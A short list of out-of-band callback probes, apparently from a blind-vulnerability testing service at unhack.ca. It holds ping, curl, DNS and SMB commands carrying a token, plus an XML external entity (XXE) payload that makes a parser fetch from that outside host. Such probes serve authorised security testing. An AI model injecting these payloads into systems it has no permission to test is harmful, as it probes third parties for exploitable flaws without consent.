$ ping -c1 -p 00bde1a7843b00f993154d31a90ac300 unhack.ca
 

$ curl http://unhack.ca/p/bde1a7843b00f993154d31a90ac3
 

$ dig bde1a7843b00f993154d31a90ac3 @unhack.ca
 

$ dig bde1a7843b00f993154d31a90ac3.ns.unhack.ca
 

C:\> nslookup bde1a7843b00f993154d31a90ac3 unhack.ca
 

C:\> type \\unhack.ca\bde1a7843b00f993154d31a90ac3\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bde1a7843b00f993154d31a90ac3">]>
    <foo>&xxe;</foo>